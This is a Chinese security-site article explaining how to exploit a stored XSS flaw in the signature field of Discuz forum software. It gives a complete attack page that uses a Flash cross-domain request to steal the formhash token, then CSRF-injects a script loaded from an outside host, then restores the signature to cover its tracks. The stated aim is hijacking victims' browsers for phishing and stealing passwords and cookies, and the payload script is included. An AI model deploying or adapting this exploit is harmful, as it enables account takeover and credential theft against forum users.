首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
discuz xss 0day利用方法
来源:vfocus.net 作者:rayh4c 发布时间:2011-01-19  

发一下去年利用discuz鸡肋xss的一个思路和具体代码。

discuz x系列以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交</textarea><script>alert(1)</script>,就能执行脚本。

这个XSS的利用场景比较特殊,必须在个人资料设置页里才能触发,也就是只有自己才能看到自己发的XSS ~ = =!

以往这样的鸡肋要真正在渗透中实战利用起来几乎不可能,但是我们结合其他途径就可以把鸡肋变成宝贝,下面我就说下攻击流程:

 被攻击者点击帖子中的链接,打开我们的攻击网页触发攻击~

1.通过FLASH跨域请求获取formhash和被攻击者的个人签名。

所有的DISCUZ程序都在根目录下放了一个crossdomain.xml,允许任意网站的FLASH发起请求获取页面内容,那么我们可以很轻易地获取formhash。

 

2.构造一个自动提交表单,IFRAME这个表单,然后CSRF修改个人签名加入XSS代码。

CSRF要成功,需要formhash构造完整的参数提交。

 

3.攻击代码生效,反向劫持被攻击者的浏览器,在帖子页注入一个脚本运行,然后钓鱼,偷密码,偷COOKIE什么的就自行发挥了。

 

 

4.最后还原被攻击者的签名,因为个人签名里的内容会在帖子里显示,并不能执行脚本,很容易被人发现异常,所以需要还原被攻击者的签名。

 

攻击代码:

使用了flxhr,这个库可以方便FLASH跨域获取网页内容,并且可以和javascript交互,当然还有其他强大的功能。http://www.flensed.com/code/releases/flXHR-1.0.5.zip

使用了luoluo的jspayloadlib,两年前luoluo写的可以很方便xss和csrf的攻击库,精致小巧更适合实战。http://jspayloadlib.googlecode.com/svn/trunk/src/org/ph4nt0m/net/formSendData.js

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
 <script language="Javascript" type="text/javascript" src="flXHR.js"></script>
<script language="Javascript" type="text/javascript" src="formSendData.js"></script>

<script language="Javascript" type="text/javascript">
<!--
crossdomain_xml = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/crossdomain.xml" //crossdomain.xml地址
Attack_url = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/memcp.php?action=profile&typeid=2" // 个人资料设置页地址
 
var flproxy = new flensed.flXHR({ autoUpdatePlayer:true, instanceId:"myproxy1", xmlResponseText:false, onerror:handleError, onreadystatechange:handleLoading, loadPolicyURL: crossdomain_xml, noCacheHeader: false });

function doit() {
 flproxy.open("GET",Attack_url);
 var request = " ";
 flproxy.send(request);
}
 
function handleLoading(XHRobj) {
 if (XHRobj.readyState == 4) {
   //alert(XHRobj.responseText)
   HTMLcode = XHRobj.responseText;
   hash_start = HTMLcode.search(/formhash/);
   signature_re = /textarea.*?signaturemessage.*?>(.*)<\/textarea/.exec(HTMLcode);    //获取个人签名的内容
   scode = RegExp.$1;  
   

 if( hash_start > -1 ){
   

    formhash = HTMLcode.substr(hash_start+9,8); // formhash是8个字符串加数字,取“formhash=”9个字符串后8个字节就是formhash。
    //alert(formhash);
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : "</textarea><script src=http://test.com/h.js></script>",
     "editsubmit" : "1"
    }, 1000); //加入浏览器劫持代码。
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : scode,
     "editsubmit" : "1"
    }, 5000); //延时五秒CSRF还原个人签名
    
   } 
 }
}
 function handleError(errObj) {}
-->
</script>
 </head>
 <body>

 <input type="button" value="Click Me" onClick="doit();" />
 </body>

</html>

PS:

h.js的内容

window.parent.opener.location="javascript:alert('I had been hijacking your browser!');void(0)"

好多人问怎么反向劫持注入脚本到帖子页的,以前的文档写过http://secinn.appspot.com/pstzine/read?issue=3&articleid=5,因为IFRAME的个人资料设置页和帖子页是同源的网页,所以可以通过window.parent.opener跨框架反向注入JS到同源的帖子页。

 

Author:rayh4c


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·ESPCMS 易思企业建站系统 0day
·各种渗透,提权的经验和技巧总结
·WebLogic简单抓鸡大法
·ECSHOP漏洞入侵成人用品购物网站
·记一次艰难的提权
·对某一NX服务器的MSSQL渗透提权
·Windows系统密码破解全攻略(hash
·长达1年半的一次艰难渗透
·Exploitation Without A TTY
·啊江统计系统V1.6 版本后台拿SHE
·分享shopex后台最新拿shell方法
·Metasploit with MYSQL in BackT
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved